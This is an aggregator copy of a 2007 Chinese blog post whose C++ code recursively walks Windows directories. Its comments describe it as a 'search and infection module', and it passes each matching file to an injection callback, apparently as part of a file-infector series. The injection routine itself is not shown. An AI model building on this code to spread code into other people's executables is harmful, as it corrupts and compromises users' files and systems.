惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

云风的 BLOG
云风的 BLOG
M
MIT News - Artificial intelligence
博客园 - Franky
J
Java Code Geeks
V
Visual Studio Blog
G
Google Developers Blog
罗磊的独立博客
MongoDB | Blog
MongoDB | Blog
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Recent Announcements
Recent Announcements
Last Week in AI
Last Week in AI
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Stack Overflow Blog
Stack Overflow Blog
博客园 - 司徒正美
The GitHub Blog
The GitHub Blog
腾讯CDC
阮一峰的网络日志
阮一峰的网络日志
V
V2EX
博客园 - 【当耐特】
IT之家
IT之家
I
InfoQ
U
Unit 42
C
Check Point Blog
Martin Fowler
Martin Fowler

博客园 - 龙巢NET刀

Windows位图文件格式[转] Windows堆栈区别[转] 聚焦3D地形编程第五章GeomipMapping for the CLOD 聚焦3D地形编程第四章光照化地形 聚焦3D地形编程第三章纹理化地形 聚焦3D地形编程第一章 The Journey into the great Outdoors 聚焦3D地形编程第二章Terrain 101 枚举驱动器 - 龙巢NET刀 - 博客园 和InjectFile配套InjectDLL - 龙巢NET刀 - 博客园 和InjectFile配套TestOne 激动的InjectFile 通过GUI方式打印信息 PE文件加区块 PE文件 我的简历 进度 我的经历我的历史 内嵌Lua问题 BGET内存分配器
文件遍历目录
龙巢NET刀 · 2007-05-23 · via 博客园 - 龙巢NET刀

文件遍历目录

// 对 选择进入子目录后 增加了一句 SetCurrentDirectory , 这样才不致于 重复枚举文件。 //搜索和感染模块 //内部检索所有文件, 在内部再判断扩展名 bool __stdcall SearchEntry(HWND param_ListBoxHWND, const char* param_curDir, const char* param_extendName, int (__stdcall *fpInject)(const char*)) { char tmpRoot[MAX_PATH] = {0}; lstrcpyn(tmpRoot, param_curDir, lstrlen(param_curDir) + 1); lstrcat(tmpRoot, "\\"); SetCurrentDirectory(tmpRoot); WIN32_FIND_DATA fd; ZeroMemory(&fd, sizeof(fd)); void *hFile = 0; hFile = FindFirstFile(param_extendName, &fd); // 根据扩展名 if(!hFile) return false; else { do { if( (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) && lstrcmp(fd.cFileName, ".") && lstrcmp(fd.cFileName, "..")) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)"子目录"); char szSubDir[MAX_PATH] = {0}; lstrcpyn(szSubDir, tmpRoot, lstrlen(tmpRoot) + 1); lstrcat(szSubDir, fd.cFileName); SearchEntry(param_ListBoxHWND, szSubDir, param_extendName, fpInject); } SetCurrentDirectory(tmpRoot); //重新设回上级目录 // 要加入SEH异常处理, 使感染进行下去 if(!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) { //SendMessage(param_ListBoxHWND, LB_ADDSTRING, 0, (LPARAM)fd.cFileName); char szPathName[260] = {0}; GetFullPathName(fd.cFileName, 260, szPathName, 0); //这里加上异常,使可以继续遍历 不管是C++异常还是SEH if(checkFileFlag(szPathName, 0)) { try { fpInject(szPathName); }catch(...) { MessageBox(NULL, "引发异常", "Exception", 0); } } } }while(FindNextFile(hFile, &fd)); FindClose(hFile); } return true; }

posted on 2007-05-23 22:55  龙巢NET刀  阅读(447)  评论()    收藏  举报